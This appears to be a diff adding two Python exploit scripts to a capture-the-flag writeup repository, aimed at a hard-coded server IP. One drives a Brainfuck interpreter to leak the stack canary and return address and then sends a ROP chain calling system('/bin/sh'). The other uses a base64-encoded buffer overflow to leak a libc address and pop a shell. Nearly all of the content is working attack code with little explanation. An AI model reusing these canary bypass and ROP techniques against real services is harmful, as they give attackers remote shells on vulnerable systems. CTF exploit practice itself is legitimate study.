Writeup

Writeup/.gitignore

@@ -0,0 +1 @@
+.DS_Store

Writeup/7HxzZ/pwn相关源码/brainfuck.py

@@ -0,0 +1,73 @@
+#!/usr/bin/env python
+
+from zio import *
+import time
+
+def calc_addr(ret):
+	binsh  =  ret + 0x15ae16	# to /bin/sh
+	system =  ret + 0x2477b		# system() function
+	gadget =  ret + 0xc55		# 'pop rdi; ret' comeon gus
+	return (binsh, system, gadget)
+
+
+io = zio(('120.55.86.95', 22222))
+
+ins = {
+	'write_and_pass':      ',[>,]',
+	'read_plus_and_print': ',,+.+.',
+	'bypass_canary':       '.,>.,>.,>.,>.,>.,>.,>.,>',
+	'get_ret':             '.>.>.>.>.>.>.>.>',
+	'pass8':               '>>>>>>>>',
+	'write8':			   ',>,>,>,>,>,>,>,>',
+	'back8':               '<<<<<<<<',
+}
+
+# welcome information
+io.writeline("6f78f333c8d330c8726d510efc28d9a1")
+io.readline()
+io.readline()
+
+payload =  ins['write_and_pass']
+payload += ins['bypass_canary']
+payload += ins['pass8'] 
+payload += ins['get_ret']
+payload += ins['back8']
+payload += ins['write8']
+payload += ins['write8']
+payload += ins['write8']
+
+payload += ']'  # the } of c code
+payload += 'q'  # finish Brainfuck code editing
+
+io.write(payload)
+
+time.sleep(5)
+
+# Begin to bypass empty stack 0x200 + 0x8 <- a magic number
+io.write('A' * 0x208 + "\x00")
+
+# Begin to bypass canary
+for i in range(0, 8):
+	a = io.read(1)
+	io.write(a)
+
+# Begin to bypass EBP
+#io.write('A' * 0x8 + "\x00")
+
+# Begin to read RET
+ret = l64(io.read(8))
+print ""
+print hex(ret)
+
+binsh, system, gadget = calc_addr(ret)
+binsh_str = l64(binsh)
+system_str = l64(system)
+gadget_str = l64(gadget)
+print hex(binsh)
+print hex(system)
+print hex(gadget)
+io.write(gadget_str)
+io.write(binsh_str)
+io.write(system_str)
+
+io.interact()

Writeup/7HxzZ/pwn相关源码/pwn.py

@@ -0,0 +1,37 @@
+from zio import *
+import base64
+
+target = (('120.55.86.95',44444))
+io = zio(target, timeout=1,print_read=COLORED(REPR,'red'),print_write=COLORED(REPR,'green'))
+
+io.writeline("6f78f333c8d330c8726d510efc28d9a1")
+io.writeline("Y")
+io.writeline("UWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrPT1Ra0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDY")
+io.read_until("B"*49)
+sc = "\x00"+io.read(7)
+
+base = "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
+
+pop_rdi = l64(0x400e93)
+addr_libc_start_main = l64(0x602048)
+
+next = base64.b64encode(sc + l64(0)+pop_rdi+addr_libc_start_main+l64(0x4007c0))
+
+pd = base + next
+
+payload = base64.b64encode(pd + ("A"*(120-len(pd))))+"Y"
+
+io.writeline(payload)
+io.read_until("B"*48)
+
+start_addr = l64(io.read(6)+"\x00\x00")
+system = start_addr + 0x24870
+param = start_addr + 0x15af0b
+
+next = base64.b64encode(sc + l64(0)+pop_rdi+l64(param)+l64(system))
+
+pd = base + next
+
+payload = base64.b64encode(pd + ("A"*(120-len(pd))))+"Y"
+io.writeline(payload)
+io.interact()